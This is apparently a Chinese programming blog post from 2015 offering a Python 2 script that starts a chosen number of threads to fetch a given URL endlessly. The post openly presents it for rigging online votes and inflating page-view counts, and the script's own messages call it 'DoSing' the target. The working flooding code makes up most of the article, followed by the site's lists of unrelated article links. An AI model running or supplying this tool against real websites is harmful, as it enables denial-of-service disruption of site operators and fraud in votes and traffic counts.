python使用多线程不断刷新网页的方法


Posted in Python onMarch 31, 2015

本文实例讲述了python使用多线程不断刷新网页的方法。分享给大家供大家参考。具体如下:

这段代码可以开通过个线程不断刷新指定的页面,可用于刷票,增加网页访问量等等,不用再去按F5了

import thread
import urllib2
import sys
import time
def usage():
  print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'
  sys.exit()
def reloader(numthread):
  url = sys.argv[1]
  numreloads = 0
  while True:
    try:
      urllib2.urlopen(url)
      numreloads = numreloads + 1
    except KeyboardInterrupt:
      sys.exit('\nProcess aborted.')
def splash():
  print 'welcome to https://3water.com/codes '
if len(sys.argv) < 3:
  usage()
if __name__ == '__main__':
  splash()
  print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'
  for reloadspawn in range(0, int(sys.argv[2])):
    thread.start_new_thread(reloader, (reloadspawn,))
  sys.stdout.write('')
  dosind = ['-', '\\', '|', '/']
  dosstat = 0
  while True:
    try:
      sys.stdout.write('\r' + dosind[dosstat % 4] + ' DoSing...')
      sys.stdout.flush()
      dosstat = dosstat + 1
      time.sleep(0.25)
    except KeyboardInterrupt:
      sys.exit('\nProcess aborted.')

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
深入Python函数编程的一些特性
Apr 13 Python
Python中if __name__ == '__main__'作用解析
Jun 29 Python
Python编程中的异常处理教程
Aug 21 Python
简单谈谈Python中的反转字符串问题
Oct 24 Python
Python正则表达式经典入门教程
May 22 Python
使用python实现ANN
Dec 20 Python
Python字符串的常见操作实例小结
Apr 08 Python
python 求一个列表中所有元素的乘积实例
Jun 11 Python
深入了解Python iter() 方法的用法
Jul 11 Python
python获取Pandas列名的几种方法
Aug 07 Python
Pytorch 实现sobel算子的卷积操作详解
Jan 10 Python
Django实现前台上传并显示图片功能
May 29 Python
Python新手实现2048小游戏
Mar 31 #Python
举例介绍Python中的25个隐藏特性
Mar 30 #Python
在Python的循环体中使用else语句的方法
Mar 30 #Python
python实现2048小游戏
Mar 30 #Python
利用一个简单的例子窥探CPython内核的运行机制
Mar 30 #Python
30分钟搭建Python的Flask框架并在上面编写第一个应用
Mar 30 #Python
编写同时兼容Python2.x与Python3.x版本的代码的几个示例
Mar 30 #Python
You might like
Get或Post提交值的非法数据处理
2006/10/09 PHP
社区(php&amp;&amp;mysql)四
2006/10/09 PHP
php在页面中调用fckeditor编辑器的方法
2011/06/10 PHP
比较discuz和ecshop的截取字符串函数php版
2012/09/03 PHP
双冒号 ::在PHP中的使用情况
2015/11/05 PHP
PHP INT类型在内存中占字节详解
2019/07/20 PHP
浅析PHP7 的垃圾回收机制
2019/09/06 PHP
JavaScript中使用构造函数实现继承的代码
2010/08/12 Javascript
fmt:formatDate的输出格式详解
2014/01/09 Javascript
JavaScript中使用stopPropagation函数停止事件传播例子
2014/08/27 Javascript
JavaScript DOM元素尺寸和位置
2015/04/13 Javascript
基于BootStrap实现局部刷新分页实例代码
2016/08/08 Javascript
浅谈Node.js:Buffer模块
2016/12/05 Javascript
jQuery UI 实例讲解 - 日期选择器(Datepicker)
2017/09/18 jQuery
Vue.js做select下拉列表的实例(ul-li标签仿select标签)
2018/03/02 Javascript
在小程序中使用Echart图表的示例代码
2018/08/02 Javascript
详解Vue.js使用Swiper.js在iOS
2018/09/10 Javascript
vue elementUI tree树形控件获取父节点ID的实例
2018/09/12 Javascript
jQuery实现的网站banner图片无缝轮播效果完整实例
2019/01/28 jQuery
Angular利用HTTP POST下载流文件的步骤记录
2020/07/26 Javascript
Python彩色化Linux的命令行终端界面的代码实例分享
2016/07/02 Python
python 利用turtle模块画出没有角的方格
2019/11/23 Python
Django User 模块之 AbstractUser 扩展详解
2020/03/11 Python
jupyter notebook 重装教程
2020/04/16 Python
Python xpath表达式如何实现数据处理
2020/06/13 Python
Python私有属性私有方法应用实例解析
2020/09/15 Python
详解HTML5常用的语义化标签
2019/09/27 HTML / CSS
韩国女装NO.1网店:STYLENANDA
2016/09/16 全球购物
英国领先的狗和宠物美容专家:Christies Direct
2017/04/03 全球购物
Pretty You London官网:英国拖鞋和睡衣品牌
2019/05/08 全球购物
shell的种类有哪些
2015/04/15 面试题
生产文员岗位职责
2014/04/05 职场文书
春节请假条
2014/04/11 职场文书
贷款委托书怎么写
2014/08/02 职场文书
大学生党课感想
2015/08/11 职场文书
Python中super().__init__()测试以及理解
2021/12/06 Python